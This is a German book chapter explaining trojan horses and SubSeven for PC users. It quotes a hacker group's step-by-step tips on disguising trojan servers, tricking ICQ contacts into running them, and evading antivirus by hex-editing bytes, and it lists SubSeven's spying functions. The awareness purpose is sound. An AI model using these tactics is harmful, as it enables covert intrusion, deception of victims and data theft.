 4.1 Das historische Vorbild Jeder kennt die Geschichte von Homer: Der trojanische König Paris entführte die schö-ne Griechin Helena. Daraufhin belagerten die Griechen jahrelang erfolglos Troja. Als sie sahen, dass den Trojanern durch die Belagerung nicht recht zuzusetzen war, kam der Grieche Odysseus auf eine List. Man baute ein riesiges Pferd, ein göttliches Symbol der Trojaner, und stellte es vor die Tore Trojas. Danach zogen die Griechen ab. Die Troja-ner, des Sieges sicher, zogen das Pferd in die Stadt und feierten ausgelassen. Doch im In-neren des Pferdes versteckten sich die stärksten und mutigsten griechischen Kämpfer, die sich in der Nacht aus dem Bauch des Pferdes schlichen und dem griechischen Heer, das sich nahe der Stadt versteckte hatte, die Stadttore öffneten. Troja ist gefallen und das Prinzip des Pferdes wurde von Hackern übernommen.
 Mit Trojaner wird also eine Software bezeichnet, von deren Existenz auf Ihrem Rechner Sie nichts wissen, die aber einen immensen Schaden anrichten kann. Um die Platzierung des Trojaners zu verschleiern, bedient sich der Angreifer einer Tarnung, so wie die Sol-daten im Bauch des Pferdes.
 4.2 Woraus besteht ein Trojaner? Zuerst muss man einmal wissen, was ein Trojaner überhaupt ist. Das RFC 1244 (Site Se-curity Handbook) beschreibt Trojaner folgendermaßen (Übersetzung des Autors): »Ein Trojaner kann ein Programm sein, das etwas Nützliches oder auch nur etwas Interessan-tes tut. Es tut immer etwas Unerwartetes, wie beispielsweise ohne Ihr Wissen Passwörter stehlen oder Dateien kopieren.«
 Um es noch ein wenig deutlicher zu beschreiben: Ein Trojaner ist unautorisierter Code innerhalb eines legitimen Programms – also eine Veränderung des ursprünglichen Pro-gramms. Dieser führt verschiedene Funktionen aus, die dem User des infizierten Sys-
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 tems nicht bewusst sind. Weiterhin kann ein Trojaner ein legitimes Programm sein, in das ein unautorisierter Code eingebunden wurde – das Programm fungiert als Träger des Trojanerprogramms. Oder ein Trojaner ist ein Programm, welches scheinbar nützli-che Funktionen erfüllt, aber aufgrund seines unautorisierten Codes Funktionen aus-führt, die dem User des infizierten Systems nicht bekannt sind.
 In der einfachsten Form kann ein Trojaner einfach ein Spionageprogramm sein, das In-formationen übermittelt, indem es Eingaben bei der nächsten Online-Verbindung an eine vorgegebene E-Mail-Adresse sendet. Das ist die typische Aufgabe eines Keyloggers, der Benutzereingaben in einer Datei protokolliert, ein keyboard logfile erstellt. Komple-xer sind dagegen Programme, die nicht nur Daten weitergeben, sondern auch eine Fern-steuerung des Rechners durch den Angreifer ermöglichen. Hier liegt die Nähe zwischen Trojanern und klassischen Fernwartungsprogrammen, die Systemadministratoren die Steuerung entfernter Rechner via Netzwerk oder Telefonleitung ermöglichen.
 Wie weit die Aktionsmöglichkeiten gehen können, erfahren Sie weiter unten bei der Be-schreibung verschiedener Trojanerprogramme. In allen Fällen aber muss es eine Ver-bindung zwischen dem Trojaner und seiner Herkunft geben. Diese Verbindung ist heut-zutage am einfachsten über das Internet oder ein Netzwerk realisierbar.
 4.2.1 Der Server wird verteilt
 Um auf einen Rechner oder dessen Daten zuzugreifen, muss auf dem Ziel- bzw. Opfer-PC der Server installiert sein. Der Server ist das zentrale Programm, das eine »Fernsteue-rung« des fremden Rechners erst möglich macht. Nur wenn der Server als Programm aktiv ist, kann über eine Verbindung (Internet oder Netzwerk) mittels der so genannten IP-Adresse auf den Fremdrechner zugegriffen werden. Praktisch kann man sich das so vorstellen: Ein Hacker versucht, den Server auf den Zielsystemen zu platzieren, also den Server zu »streuen«, um dann mit einem Client (s.u.) auf die verteilten Server gezielt zugreifen zu können. Dazu muss allerdings eine Verbindung zwischen Server und Client bestehen. Der Zugriff kann nur erfolgen, wenn der infizierte Rechner über seine IP-Adresse angesprochen werden kann.
 Dabei steht der Hacker meist vor folgenden Problemen:
 ■
 ■
 ■
 Der Server muss dem User zukommen bzw. »untergejubelt« werden. Der User muss dazu gebracht werden, den Server auszuführen. Der Hacker muss die aktuelle IP-Adresse des infizierten PCs erhalten.
 Für die Platzierung haben sich sowohl Hacker als auch die Programmierer solcher Tools eine Menge einfallen lassen. Trojaner können in Programme integriert oder an Dateien angehängt werden (mehr später dazu). Einer der bekanntesten Fälle ist das Verstecken eines Trojaners in dem Programmcode des Linux-Tools SATAN 1.0. Ein Programmierer bekam Zugang zu einem Entwicklungsrechner, auf dem der Source-Code für SATAN
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 1.0 lag, er modifizierte die main()-Funktion, änderte Fping so, dass beim Aufrufen von SATAN ein Eintrag in die Passwortdatei gemacht wurde und sich ein neuer Benutzer an-legte, der dann zugreifen konnte. Zum Glück war die Programmierung recht fehlerhaft, so dass kein nennenswerter Schaden entstand. Es zeigt aber, dass Hacker nicht nur die bekannten Wege wie z.B. E-Mail-Anhänge wählen, um an ihre Opfer zu kommen.
 Die Ausführung des Servers besteht im Allgemeinen aus zwei Schritten: Zunächst muss der Server auf dem System akitviert werden, er muss installiert und eingerichtet werden. Dieser Schritt geschieht meist in Verbindung mit der Platzierung, die Serverdatei wird ausgeführt. Der zweite Schritt besteht darin, den Server automatisch mit dem Betriebs-system zu starten, damit er im Hintergrund aktiv ist. Nur dann kann er gezielt angespro-chen werden.
 Die IP-Adresse erhält der Hacker je nach Trojaner und Vorgehensweise auf unterschied-lichen Wegen: Bei Platzierung über ICQ (s. S. 125) kann er direkt die aktuelle IP des Op-fers beim nächsten Kontakt abfragen. Komplexe Trojaner-Programme, wie sie weiter unten vorgestellt werden (s. S. 132), bieten eine automatische Benachrichtigung, wenn der infizierte Rechner ins Netz bzw. ins Internet geht. Dann muss der Hacker nur selber online sein, und er erhält die aktuelle IP zum Angriff.
 4.2.2 Der Client bleibt daheim und steuert den Server
 Wenn ein Trojaner Fernsteuerungsfunktionen bereitstellt, muss der Angreifer auch ein Steuerungsprogramm haben. Mit diesem Programm kann er über eine bestehende Ver-bindung zwischen den Rechnern Aktionen über den Server auslösen. Der Client spricht den Server dazu gezielt über die IP-Adresse des infizierten Rechners an. Die Aktionen können vergleichsweise harmlose Aktivitäten wie das Öffnen des CD-ROM-Laufwerks, aber auch zerstörerische (Löschen von Daten) oder spionierende (Übermitteln von Da-ten) sein.
 Welche Funktionen der Client steuern kann, hängt von der verwendeten Software ab. Bei der Konfiguration des Servers können dezidiert Verhaltensweisen bei der Übermitt-lung an den Client und Aktionsmöglichkeiten, die der Client starten kann, festgelegt werden. Damit wird der Client zur Steuerungszentrale für fremde Rechner. Wie das ge-fährliche Potential genutzt wird, liegt ganz in der Hand des Angreifers.
 4.2.3 Wie kommen Hacker an die IP?
 Um den Trojaner nutzen zu können, benötigt man also die IP des Computers, der infi-ziert ist. Da die meisten Nutzer die Internetverbindung über Provider herstellen, erhal-ten sie bei jedem Zugang eine andere, eine so genannte dynamische IP-Adresse. Das macht den Zugriff auf den Trojaner-Server schwieriger, denn man weiß ja nicht, ob und
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 unter welcher IP der infizierte Rechner online ist. Am leichtesten erhält man die aktuelle IP, wenn man z.B. während der Übertragung über IRC oder ICQ (s.u. S. 125), also wenn eine Verbindung zum infizierten Rechner besteht, zur Eingabeaufforderung wechselt und netstat – n eingibt. Die IP des Trojaner-Servers ist dann recht leicht aus den Remote-Adressen abzulesen.
 Bild 4.1: Die Verbindung ist leicht zu erkennen.
 Eine andere Möglichkeit bei nicht vorhandener direkter Onlineverbindung ist z.B., wahllos nach Adressen zu scannen. Hierfür haben die meisten Trojaner gleich integrierte Scanner, mit denen bestimmte IP–Bereiche abgescannt werden können. Nun kann man mit dem Client auf den Server eines infizierten Computers zugreifen und ihn steuern. Das hört sich sehr einfach an, was es aber nicht unbedingt sein muss. Eine Beschreibung verschiedener Trojaner finden Sie weiter unten.
 Wenn der Server zur automatischen Benachrichtigung eingestellt ist, stellt sich die IP-Suche vergleichsweise einfach dar. Sobald der infizierte Rechner eine Verbindung zum Netz bzw. zum Internet herstellt, übermittelt der Server die aktuelle IP an den Client, so-fern dieser online ist, oder sendet eine Mail mit der aktuellen IP. So kann der Hacker ge-zielt auf den infizierten Rechner zugreifen.
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 4.3 So werden Trojaner getarnt und verbreitet Zur Verbreitung der gefährlichen kleinen Programme haben Programmierer die unter-schiedlichsten Möglichkeiten ersonnen. Profis integrieren dabei die Trojaner geschickt in andere Programme, um sie leicht und rasch verbreiten zu können. Hobby-Hacker wählen gern andere Wege, wenn ihnen die Programmierkenntnisse fehlen. Gefährlich sind Troja-ner in jedem Fall, denn entscheidend sind die Absichten desjenigen, der den Server steuert.
 Im Folgenden lernen Sie nicht nur einfache Tarnungen kennen, sondern erhalten auch Einblick in die Vorgehensweise von Hobby-Hackern. Dazu gibt es eine Menge Informa-tionen in den einschlägigen Foren im Internet, so dass bereits ein eher für Schüler ge-dachtes »Regelwerk« erstellt worden ist. Weiter unten finden Sie einen Teil der »Regeln«, die erfolgreiches Platzieren von Trojanern ermöglichen sollen. Einige der Strategien las-sen sich ohne Umschweife auch auf Profis übertragen, andere gehören wirklich nur in den Horizont von Hobby-Hackern. Kennen sollten Sie sie als PC-Nutzer auf alle Fälle.
 Für einen Blick auf die Vorgehensweise nutzen wir hier einen (nur geringfügig modifi-zierten) Text einer Hackergroup namens »Defcon4«:
 Man versendet den Server über Mails, ICQ oder IRC. Tarnt ihn als Bild ('was nicht Ju-gendfreies kommt immer gut) oder als Tool, je nachdem was das Opfer wünscht. Leg’ es als Tool auf deine Homepage oder bitte befreundete Webmaster darum, es für dich auf der Homepage anzubieten, musst ja nicht sagen, dass du einen Trojaner darin versteckt hast. Solltest du den Server auf diese Art unters Volk bringen, ist es natürlich nicht schlecht, wenn du Trojaner mit entsprechender Benachrichtigungsfunktion benutzt. Das sind Funktionen, die dich benachrichtigen, sobald das Opfer online geht, und dir per Mail oder ICQ eine Message zukommen lassen, in der bestimmte Informationen über das Opfer und dessen Rechner stehen, z.B. die IP, die du ja benötigst, um den Server zu verbinden. Sub7 und auch Y3k besitzen solche Funktionen.
 Näheres zu den Funktionen von SubSeven siehe Seite 134.
 4.3.1 Trojaner werden in Dateien integriert
 Man kann den Server mit verschiedenen Dateien verbinden, z.B. .gif, .jpg, also mit Bil-dern, oder auch in Tools, also EXE-Dateien, einbauen. Dazu stehen im Netz eine ganze Menge Programme zur Verfügung, wie Silke Rope, Joiner oder Binder. Manche Troja-ner Kits, wie z.B. Sub7, besitzen in speziellen Konfigurationsdateien (Editserver) Funkti-onen, mit denen es möglich ist, den konfigurierten Server mit den verschiedensten Da-teien zu verbinden. Außerdem ist es möglich, das Icon des Servers zu ändern. Das ist dann sinnvoll, wenn man das Opfer mit einer Datei wirklich täuschen will. Dabei stehen sämtliche Icons zur Verfügung, die auch sonst von Programmen verwendet werden: Bil-der kommen täuschend echt als JPEG-Dateien daher, und vermeintliche DOC-Dateien präsentieren stolz ein beruhigendes Winword-Symbol.
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 Das Einbinden des Servers in Dateien bringt folgenden Vorteil mit sich: Man kann da-von ausgehen, dass das Opfer durch das Programm oder das Bild, in welches der Server gebettet wurde, keinerlei Verdacht schöpft oder böse Absicht vermutet.
 Bild 4.2: Icon-Vergabe für den Server
 Um einen Server mit einem Programm zu koppeln, eignen sich besonders gut Animati-onen und Gagprogramme. Die werden immer gerne verschickt und angesehen.
 4.3.2 Tarnung mit WinZip
 Um Trojaner geschickt zu platzieren, bedienen sich manche Hacker auch der Pro-grammoptionen des meistgenutzten Packprogramms der Welt: WinZip. Hierbei wird ein neues WinZip-Archiv erzeugt und der Server mit anderen Dateien (Bilder etc.) hin-eingepackt. Das Kommando »run command after unzipping« startet den Server gleich nach dem Entpacken aus dem Archiv. Hier hilft die Server-Option »melt server after in-stallation«, denn damit wird der Server nach erfolgreicher Installation sofort gelöscht. Das Archiv wird in eine selbstextrahierende Datei umgewandelt, und schon hat man ei-nen perfekt getarnten Trojaner.
 4.3.3 Trojaner lassen sich auch mit ICQ weitergeben
 Mögen Sie auch den komfortablen Kommunikationsdienst im Internet? Haben Sie schon eine Liste mit ihren bevorzugten »Gesprächspartnern«? Dann werden Sie sich für die Möglichkeiten, die sich Hackern dank ICQ bieten, ganz besonders interessieren.
 Und so wird’s dann gemacht (wieder nach den »Informationen« von Defcon4):
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 Als Erstes schnappen wir uns alle Tools, die wir benötigen. Diese wären:
 ■
 ■
 ■
 ■
 Trojaner Sub7 (Erklärung s.u.) MICQ (lässt ICQ mehrmals ausführen) ICQ-AutoAuthorize/IP-Unhider Patch The Thing (kleiner Trojaner)
 Jedes dieser Tools wird genauer erklärt, wenn sie eingesetzt werden.
 MICQ ist ein Tool, das es ermöglicht, mehrere Instanzen von ICQ parallel zu starten. Somit kann man mit zwei oder mehr UINs gleichzeitig online sein.
 Das ICQ Auto-Authorize/IP-Unhider-Patch erlaubt es, UINs zur eigenen Kontaktliste hinzuzufügen, ohne dass der andere dazu die Genehmigung geben muss. Außerdem wird die IP aller Personen in der Info angezeigt, auch wenn diese Funktion bei Ihnen nicht aktiviert ist (zur IP und deren Vergabe siehe Grundlagen).
 The Thing ist ein kleiner Trojaner. Die meisten Trojaner sind wegen der vielen Features von Haus aus bis zu 400 KB groß. Wenn man also einige Erfahrung damit hat, so kann man sich leicht ausrechnen, was hinter einem File steckt. The Thing hingegen ist nur ca. 40 KB groß (etwa so, wie ein größeres Bild). Sobald die Datei einmal auf dem Rechner des Opfers ausgeführt wurde, öffnet sich eine Hintertür, mit der man andere Files up-loaden und ausführen kann. Mehr soll er auch gar nicht können!
 Tarnung via ICQ
 Wenn möglich sollte man immer die eigene Identität so gut wie möglich verschleiern. Am besten generiert man eine neue ICQ-UIN (denn mit MICQ können wir ja mit meh-reren zugleich online sein). Für männliche Opfer ist eine weibliche Identität ideal.
 Zur Verbreitung des Trojaners sucht man sich sein Opfer und fügt es der Kontaktliste hinzu. In dieser Konstellation besteht eine realistische Chance, dass das Opfer den An-griff bemerkt, denn die Kontaktliste ist ja ohne Zustimmung erweitert worden. In so ei-nem Fall helfen nur noch unverfängliche Ausreden, in denen Begriffe wie Hacker oder dergleichen garantiert nicht vorkommen.
 Wenn man ICQ zum Schicken der Datei verwendet, kann man auch einen kleinen Bug älterer ICQ-Versionen ausnutzen: Die zeigen standardmäßig keine Dateiendungen an. Nennt man eine Datei nun photo.jpg.exe, so erscheint beim Übertragen nur photo.jpg, und das ist nicht weiter auffällig.
 Hacker haben Zeit
 Der Server wird im Allgemeinen über ICQ nicht beim ersten Kontakt verschickt. Da ist es viel besser, zum Start ein paar saubere Dateien zu verschicken. Nach ein paar Tagen erregt dann eine Datei weitaus weniger Aufsehen.
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 Das Opfer wird natürlich nicht unter Druck gesetzt, die Datei anzunehmen. Wird die Datei via ICQ abgelehnt, kann sie immer noch ein paar Tage später über einen anony-men Mail-Account verschickt werden.
 »Wenn das Opfer wirklich vermutet, dass hinter einer Datei ein Virus oder Trojaner steckt, sollte man einfach ein paar Tage abwarten, etwas quatschen und es dann mit ei-nem sehr kleinen File versuchen, das nur The Thing enthält. Wie schon gesagt, der Tro-janer ist viel zu klein, um aufzufallen.«
 4.3.4 Es genügen auch eine CD und die Autoplay-Funktion
 Ein Weg, der gern genommen wird, um Trojaner zu verteilen, ist die Verbreitung über eine CD, die das Opfer erhält. Er wird meist gewählt, um Ziele im näheren Umfeld zu attackieren. Dabei macht sich der Hacker z.B. die Raubkopie eines Programms oder ei-nes Spiels zunutze. Auf der CD-ROM wird die Datei Autorun.inf folgendermaßen ver-ändert:
 Bild 4.3: Text einer Autorun.inf, die auf einen Trojaner verweist.
 Das Prinzip ist folgendes: Der User legt die CD-ROM in sein Laufwerk und der Server wird automatisch mit dem Intro des Spiels gestartet, ohne dass es bemerkt wird. Dabei macht sich der Hacker die Autoplay-Funktion von Windows 9.x zunutze. Diese wertet nach dem Erkennen einer CD-ROM sofort die Daten in der entsprechenden Auto-run.inf-Datei aus und führt diese aus. In unserem Fall also auch den Server.
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 4.3.5 Disketten funktionieren fast genauso
 Diese Prinzip ist auch auf Disketten übertragbar und hier funktioniert es folgenderma-ßen:
 Der Hacker erstellt einen Ordner auf der Diskette, der z.B. »Film« heißt. In diesem Ord-ner werden noch zwei weitere Ordner erstellt; der eine heißt beispielsweise Film Data, der andere z.B. Xxdata.
 In den Ordner Film Data wird der eigentliche Film (*.avi oder *.mpeg-File) kopiert, in den anderen Ordner Xxdata kopiert der Hacker den Server.
 Nun wird im Editor eine Batch-Datei (Stapelverarbeitung) im Stammordner der Disket-te erstellt und unter dem Namen Film.bat abgespeichert. Diese kann z.B. so aussehen:
 Bild 4.4: Die Bat-Datei startet den Server.
 Wird diese Diskette nun an den User weitergegeben, und der startet die Film.bat, wird auch der Trojaner ausgeführt. Der Befehl @echo dient dazu, dass der User die Ausfüh-rung nicht im DOS-Fenster angezeigt bekommt.
 4.3.6 Weitere Verbreitungsstrategien
 Verschiedene Strategien zur Verbreitung von Trojanern sind ja bereits deutlich gewor-den. Die direkten Kontakte über ICQ machen eine Verbreitung vor allem im Bereich der näheren und ferneren Bekannten leicht, die Anonymität des Internetkontakts schützt den Täter und macht das Opfer angreifbar. Die Verbreitung mithilfe einer CD ist auch eher dem Hobby-Hacker vorbehalten, denn das Medium als solches wird nur über den Inhalt (Spiel, gecracktes Programm etc.) erst wirklich attraktiv.
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 Die vielleicht wichtigsten und erfolgreichsten Vorgehensweisen sind die Verbreitung über ein Download-Angebot und über Viren. In beiden Fällen stecken andere Motive dahin-ter, denn solche Masseninfektionen sind sowohl von der Planung als auch von der Aus-wertung/Nutzung weitaus aufwändiger.
 Um einen Trojaner rasch in großer Zahl zu platzieren, bedarf es nicht nur der idealen Tarnung – der Kurnikowa-Virus ist sicherlich ein gutes Beispiel für erfolgversprechende Umfelder, die hohe Doppelklick- und damit Installationsraten garantieren. Daneben ist natürlich auch eine Verbreitungsstrategie zu entwickeln, die eine Platzierung auf Tau-senden von Rechnern weltweit möglich macht. Das geschieht am einfachsten über Würmer, die sich dadurch vervielfältigen, dass sie sich an alle Adressen im Mail-Adressbuch verschicken. Ein Download-Angebot dagegen muss erst aufwändig bekannt gemacht werden, bevor die nötige Zahl an Platzierungen erfolgt ist. Bis dahin kann das Vorhaben immer noch scheitern.
 Die bei einer großen Zahl platzierter Trojaner anfallenden Daten müssen natürlich aus-gewertet werden, denn nicht jeder Trojaner bietet für den Hacker wirklich interessante Daten. Passwörter zum günstigen Surfen sind dabei vergleichsweise uninteressant. Wichtiger sind Kennwörter für Netzwerkzugänge etc.
 Natürlich lässt sich mit einem Trojaner auch erheblicher Schaden anrichten, aber wenn es nur um ein hohes Maß an Zerstörung geht, ist ein Virus letztlich weitaus erfolgrei-cher. Da braucht sich der Hacker nicht mehr um gezielte Attacken oder dergleichen zu kümmern, sondern setzt auf den Faktor Zeit (Datumssteuerung) oder Nutzungshäufig-keit (Start der Zerstörung nach x-Dateiaufrufen). Der Trojaner ist eigentlich immer eine Angriffstechnik, bei der Zugang wichtiger ist als das Zerstörungswerk.
 4.3.7 Was machen Hobby-Hacker eigentlich mit Trojanern?
 Die Frage mag auf den ersten Blick merkwürdig klingen, sind doch die meisten Men-schen zwar neugierig, aber technisch auch nicht versiert genug, um gezielt Passwörter auszuspionieren oder dergleichen mehr. Das sofortige Zerstören von Daten gehört eher in den Bereich der persönlichen Feindschaft, denn dazu sind, wie noch in Kapitel 5 ge-zeigt wird, Viren besser geeignet. Dennoch kann das nicht ausgeschlossen werden. Sie wissen jetzt aber, mit welchen Strategien ein Hacker sein Opfer gezielt angehen kann.
 Die meisten allerdings, die nur ein wenig damit rumexperimentieren, wissen eigentlich nicht, was sie wirklich auf dem Rechner des Opfers anrichten sollen. Neugier und eine Portion Vandalismus stecken dahinter, wenn man sich folgende »Regeln« aus dem In-ternet anschaut:
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 »Wenn wir es nun endlich mit viel Fantasie und mehreren ICQ-UINs geschafft haben, einen Trojaner auf den Rechner des Opfers zu pflanzen, sollte der eigentliche Spaß nicht sofort anfangen. Erst sollte man ein paar Tage den Rechner des Opfers durchwühlen und sich alle seine Daten ansehen. Du könntest Dateien verschieben, Dokumenten In-formationen hinzufügen, seine Startseite ändern und dich weiterhin mit den vielen Funktionen des Trojaners vertraut machen.
 Bitte beschädigt die Daten Eurer Opfer nicht zu sehr. Wir alle wissen, dass es nicht mehr lustig ist, wenn man wichtige Daten verliert.
 Sobald wir Zugriff auf die Dateien des Opfers haben, sollten wir als erstes die Datei C:\windows\netstat.exe löschen. Ich persönlich bin vollkommen gegen Datenvernich-tung. Mit diesem Windowsprogramm kann man sich allerdings sämtliche Netzwerkver-bindungen anzeigen lassen... das wäre doch grausam, oder?«
 Selbstinfektion für Unbedarfte
 Für diejenigen Hobby-Hacker, die sich beim Experimentieren mit Trojanern selbst an-stecken, hat das Internet folgende Warnung parat: »Wenn man sich bei den ersten Infektionsversuchen selbst infiziert, verbindet man sich einfach per Client mit sich selbst (die IP des eigenen Rechners ist immer 127.0.0.1!) und löscht den Server einfach!«
 4.4 Findige Hacker täuschen Virenscanner Um den Server zu verschleiern, verwenden Hacker bekannte Trojaner (meist mit Blick auf die ausgereiften Funktionen, die ein selbstprogrammierter Trojaner nicht bietet) und verändern den Code, um den Server zu tarnen bzw. zu stealthen (Hacker-Jargon). Auch hier wieder ein Text von »Defcon4«:
 »Heutzutage kann man davon ausgehen, dass die meisten User über mehr oder weniger aktuelle Antivirensoftware verfügen. Was dir natürlich erschwert, auf diesen Rechnern einen Trojaner zu installieren. Daher ist es möglich, den Server zu stealthen. Dazu benö-tigst du einen Hexeditor und ein wenig Know-how.
 Öffne deinen Server im Hexeditor und lass das Wirrwarr von Zahlen und Buchstaben auf dich wirken.
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 Bild 4.5: Codedarstellung des Trojaner-Programms
 Nach einer Minute respektvollen Schweigens für den Autor such’ dir im unteren Bereich des Codes irgendeine Zahl oder einen Buchstaben aus und ersetze diese durch einen an-deren. Speichere die Datei mit Save neu ab und untersuche sie mit deinem Virenscan-ner. Wird sie weiterhin erkannt, nimm dir noch einmal die Originaldatei vor und versu-che es an anderer Stelle erneut.
 Ich gehe nun mal davon aus, dass du es geschafft hast und dein Virenscan dir meldet, dass er in der zu untersuchenden Datei nichts gefunden hat. Nun hast du natürlich ei-nen Server, bei dem du davon ausgehen kannst, dass ihn kein Virenscanner der Welt mehr erkennen wird, aber ob er noch funktionstüchtig ist, musst du erst noch testen. Du musst davon ausgehen, dass dein Eingriff in den Code Funktionen des Servers zerstört oder ihn gar ganz außer Gefecht gesetzt hat. Tja, da gibt es nur eins, ein Selbsttest muss gemacht werden. Verwende dazu am besten deinen Zweitrechner, sofern du einen be-sitzt. Solltest du keinen haben und du musst ihn an deinem einzigen Rechner testen, be-denke, sollte der Server funktionstüchtig sein, ist es nicht so einfach, ihn wieder außer Kraft zu setzen und du wirst dich evtl. auf einen tieferen Eingriff in deine Registry vorbe-reiten können. Alle Zweifel abgeworfen? Ok. Klicke den Server doppelt an. Öffne deinen Client, trage in das Feld Host bzw. IP 127.0.0.1 ein und klicke auf connect. Solltest du ei-
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 ne Verbindung bekommen, teste alle wichtigen Funktionen, z.B. Passwortabfrage, Key-logger einmal durch. Solltest du keine Verbindung bekommen, geht’s wieder zurück zum Hexeditor.
 Leider kann man bei der Vielzahl von Trojanern, von denen jeder einen individuellen Code besitzt, keine 100% genaue Anleitung zum Stealthen geben.«
 Der hinter diesen Aktionen stehende Grundgedanke ist vergleichsweise einfach. Da die Virenscanner im Allgemeinen mit einer Mustererkennung für den Trojaner-Code arbei-ten, können sie bei der Erkennung des veränderten Codes scheitern – der Trojaner wür-de nicht erkannt. Umso wichtiger sind daher die Informationen zur Erkennung und Be-seitigung von Trojanern weiter unten in diesem Kapitel.
 4.5 Sub7 – Trojaner mit erschreckenden Möglich-keiten
 SubSeven, ein Backdoor-Trojaner, wurde in den ersten Versionen im März 1999 als »Antwort« auf NetBus und Back Orifice durch einen Programmierer, der unter dem Pseudonamen Mobman agiert, ins Netz gestellt. Seitdem wird das Backdoor-Tool stän-dig verbessert und um neue Funktionen erweitert. SubSeven gehört zu den mächtigsten und am weitesten verbreiteten Trojanern im World Wide Web. Wie viele Systeme welt-weit mit SubSeven infiziert wurden bzw. noch sind, zeigen so genannte Portscans, die »mehr als genug« infizierte Systeme melden.
 4.5.1 Diese Teilprogramme benötigt ein Angriff mit Sub7
 Sub7 kann im weitesten Sinne mit einer Art Fernwartungssoftware verglichen werden. Fernwartungssoftware, auch Remote-Access-Tool oder Remote-Administration-Tool genannt, wird in größeren Netzwerken als Arbeitserleichterung von Netzwerkadminist-ratoren zur Fernwartung und Konfiguration der im Netz eingebundenen Rechner benö-tigt. Ein bekanntes Remote-Access-Tool ist beispielsweise PCAnywhere von Symantec.
 In destruktiver Weise eingesetzt, kann mit einer solchen Software die komplette Kon-trolle über einen infizierten Rechner übernommen werden. Komplette Kontrolle heißt, der Besitzer des entsprechenden Client kann jede Funktion auf dem infizierten Rechner ausführen, die auch der Besitzer des Rechners benutzen kann. Eine genaue Auflistung der einzelnen Funktionen weiter unten trägt sicherlich zur Einschätzung der aus dieser Software resultierenden Gefahrenpotentiale bei.
 Ein Trojaner wie Sub7 besteht aus mehreren Dateien, die im Verbund den Kontakt vom angreifenden Rechner zum infizierten Rechner ausführen:
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 Der Server von Sub7
 Der Server wird benötigt, um den Kontakt zwischen der Funktionskonsole (Client) her-zustellen und den infizierten Rechner zu steuern. Dieses Modul muss also zwingend notwendig auf dem System, das gesteuert werden soll, installiert sein, um von einer In-fektion mit Sub7 zu sprechen. Welche Möglichkeiten der Platzierung und Einrichtung es gibt, finden Sie weiter unten.
 Da es sich hierbei um ein ausführbares Programm handelt, muss sichergestellt sein, dass der Server bei jedem Programmstart ausgeführt wird. Die Möglichkeiten sind dabei zu groß, um sie hier im Einzelnen aufzuführen.
 Der Client steuert alle Aktivitäten
 Der Client wird benötigt, um die einzelnen Funktionen des Trojaners auf dem Zielrech-ner zu initiieren und ist somit die Steuerungszentrale. Den Client kann man sich als vollkommen normales Windows-Programm vorstellen mit grafischem Interface, But-tons, Menüs und Auswahlfeldern, über die einzelne Funktionen ganz bequem gestartet werden können.
 Bild 4.6: SubSeven hat eine Verbindung zum Server.
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 Edit-Server – Festlegen, wie sich der Server verhält
 Edit-Server ist ein Zusatz-Tool, mit dem der Server konfiguriert werden kann. Hier wird z.B. die Art und Weise festgelegt, wie sich der Server auf dem Zielrechner installiert. Ferner wird hier der Name des Servers bestimmt. Hinzu kommen einige ICQ-Optionen (Benachrichtigung, Passwortspionage, UIN-Extraktion), der Port, über den der Trojaner kommuniziert (in neueren Versionen auch zufällig – hier wird der Port zur Laufzeit ermit-telt) und ob der benutzte Port versteckt wird. Außerdem wird festgelegt, ob der Server di-rekt nach der Installation sofort gestartet wird und ob er mit einer anderen ausführbaren Datei verbunden werden soll, um den Server vor der Installation zu verstecken.
 So vorbereitet geht der Angreifer in vielfältiger Weise auf sein Opfer zu und versucht, den Server im Zielsystem zu installieren.
 Bild 4.7: Ein Blick in die Schaltzentrale von SubSeven
 4.5.2 Das kann SubSeven auf einem Rechner
 Hier habe ich die Funktionen aus der Dokumentation aufgelistet, um zu verdeutlichen, was mit diesem Trojaner alles möglich ist.
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 Grundfunktionen:
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 Adressbuch WWP Pager Retriever UIN2IP Remote IP scanner Host lookup Get Windows CD-KEY Update victim from URL ICQ takeover FTP root folder Retrieve dial-up passwords along with phone
 Numbers and usernames Port redirect IRC bot. for a list of commands File Manager bookmarks Make folder, delete folder [empty or full] Process manager Text 2 speech Clipboard manager EDITSERVER CHANGES
 Sub7 1.9:
 Open Web Browser to specified location Restart Windows [5 methods]: Normal shutdown Forced Windows shutdown Log off Windows user Shutdown Windows and turn off computer Reboot System Reverse/restore Mouse buttons Hide/Show Mouse Pointer Control Mouse Mouse Trail Config. Set Volume Record Sound file from remote mic. Change Windows Colors / Restore Hung up Internet Connection Change Time Change Date Change Screen resolution Hide Desktop Icons / Show Hide Start Button / Show Hide taskbar / Show Open CD-ROM Drive / Close Beep computer Speaker / Stop Turn Monitor Off / On Disable CTRL+ALT+DEL / Enable
 E-Mail Connection Notify Enable Key Logger / Disable Clear the Key Logger Windows Collect Keys pressed while offline Open Chat Victim + Controller Open Chat among all connected Controlers Windows Pop-up Message Manager Disable Keyboard Send Keys to a remote Window ICQ Spy Full Screen Capture Continues Thumbnail Capture Flip Screen Open FTP Server Find Files Capture from Computer Camera List Recorded Passwords List Cached Passwords Clear Password List Registry Editor Send Text to Printer Show files/folders and navigate List Drives Execute Application Enter Manual Command Type path Manually
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 Turn on Scroll Lock / Off Turn on Caps Lock / Off Turn on Num Lock / Off Connect / Disconnect Fast IP Scanner Get Computer Name Get User Name Get Windows and System Folder Names Get Computer Company Get Windows Version Get Windows Platform Get Current Resolution Get DirectX Version Get Current Bytes per Pixel settings Get CPU Vendor Get CPU Speed Get Hard Drive Size Get Hard Drive Free Space Change Server Port Set/Remove Server Password Update Server Close Server Remove Server ICQ Pager Connection Notify IRC Connection Notify
 Download files Upload files Get File Size Delete File Play *.WAV Set Wallpaper Print .TXT\.RTF file Show Image List visible windows List All Active Applications Focus on Window Close Window Disable X (close) button Hide a Window from view Show a Hidden Window Disable Window Enable Disabled Window Set Quality of Full Screen Capture Set Quality of Thumbnail Capture Set Chat font size and Colors Set Client's User Name Set local 'Download' Directory Set Quick Help [Hints]
 Sub7 2.0:
 Restart server Aol Instant Messenger Spy Yahoo Messenger Spy Microsoft Messenger Spy Retrieve list of ICQ uins and passwords Retrieve list of AIM users and passwords App Redirect Edit file Perform clicks on victim's desktop Set/Change Screen Saver settings [Scrolling Marquee]
 Bussiness name City Company Country Customer type E-Mail Real name State City code Country code Local Phone Zip code Configure Client colors
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 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
